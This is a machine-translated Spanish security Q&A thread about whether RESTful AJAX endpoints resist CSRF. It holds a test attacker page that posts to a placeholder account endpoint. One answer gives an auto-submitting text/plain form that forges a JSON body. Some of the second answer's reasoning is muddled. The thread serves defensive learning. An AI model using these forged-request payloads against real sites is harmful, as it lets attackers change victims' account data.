¿Los sitios RESTful son seguros contra los ataques CSRF?

10

Tengo un debate con un compañero de trabajo sobre si nuestro sitio es vulnerable a los ataques CSRF. Está diciendo que, dado que estamos utilizando las solicitudes AJAX RESTful para todo lo que CSRF no es posible. Diga que una solicitud para actualizar la información de su cuenta se ve así:

POST /ajax/account/savebasic HTTP/1.1
Host: www.mysite.com
Connection: keep-alive
Content-Length: 72
Accept: application/json, text/javascript, */*; q=0.01
Origin: https://www.mysite.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65 Safari/537.36
Content-Type: application/json; charset=UTF-8
Referer: https://www.mysite.com/portal
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: X-Mapping-fjhppofk=B8BFE26CD0B3A37348ECC6FFE3940306; sdemail_5228=tester%40test.com; sd_5228=%7B%7D; connect.sid=s%3AAQIPx7hyddXEYTOuyP857jEG.D002GI6%2FSEF0m5WTBUxRmbjpE48%2BMkPxEe9o2T9DH1Y; __utma=160595647.1524201255.1358783236.1379476052.1379533347.150; __utmb=160595647.1.10.1379533347; __utmc=160595647; __utmz=160595647.1376327581.102.3.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=http://mysite.com/

{"fname":"abe","lname":"m","company":"comp","email":"[email protected]"}

Creé una página HTML de prueba en testdomain.com como la de abajo:

<html>
<head>
    <title>Bad site</title>
    <script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
</head>
<body>
    <div id="main">Hey!</div>
    <script type="text/javascript">
$.ajax({
    type: "POST",
    url: "http://www.mysite.com/ajax/account/savebasic",
    data: { 
        "fname": "CSRF",
        "lname":"CSRF",
        "company":"CSRF",
        "email":"[email protected]"
    },
    dataType: "jsonp"
 });
    </script>
</body>
</html>

Pensando que sobrescribiría todo, pero redirige algunas veces y, finalmente, arroja un error 404. ¿Mi compañero de trabajo tiene razón al decir que estamos a salvo de CSRF porque usamos AJAX / REST?

    
pregunta Abe Miessler 18.09.2013 - 22:37
fuente

2 respuestas

10

Política del mismo origen no permite javascript o solicitudes de envío similares fuera de su host!

  

En informática, la política del mismo origen es un concepto de seguridad importante para varios lenguajes de programación del navegador, como JavaScript. La política permite que los scripts se ejecuten en páginas que se originan en el mismo sitio: una combinación de esquema, nombre de host y número de puerto 1 - para acceder a los métodos y propiedades de los demás sin restricciones específicas, pero impide el acceso a la mayoría de los métodos y propiedades en las páginas en diferentes sitios. 1 La política del mismo origen también se aplica a XMLHttpRequest y a robots.txt.

Su aplicación es Ajax, pero puede ser vulnerable a CSRF (si no marca el tipo de contenido o agrega políticas inseguras del mismo origen).

Si no marca el tipo de contenido, el atacante puede enviar esta solicitud con un formulario normal, como este:

<form name="x" action="http://site/index" enctype="text/plain" method="post">
  <input type="hidden" name='{"fname":"abe","lname":"m","company":"comp","email":"[email protected]","Junk":"' value='Noting"}'>
</form>
<script>document.x.submit();</script>
    
respondido por el Sajjad Pourali 18.09.2013 - 23:01
fuente
2

La respuesta simple es no , los sitios RESTful no son "inherentemente" seguros contra los ataques CSRF. No hay nada sobre ser REST que prevenga CSRF porque CSRF no requiere que REST funcione. Piense en la fijación de la sesión, que puede ser una forma de CSRF. Si puedo corregir su ID de sesión, entonces puedo comenzar a ejecutar solicitudes como usted, con REST o no. Además, tampoco te confundas con la primera parte de CSRF y XSS (sitio cruzado) porque no es necesario que ocurra un ataque de un dominio primario a otro para ser CSRF o XSS. Es un nombre poco apropiado que confunde a las personas cuando intentan protegerse contra este tipo de ataques. El hecho de que no confíe en el remitente o que establezca una política estricta de origen de dominio no significa que aún no sea vulnerable a CSRF.

    
respondido por el user3127 19.09.2013 - 20:40
fuente

Lea otras preguntas en las etiquetas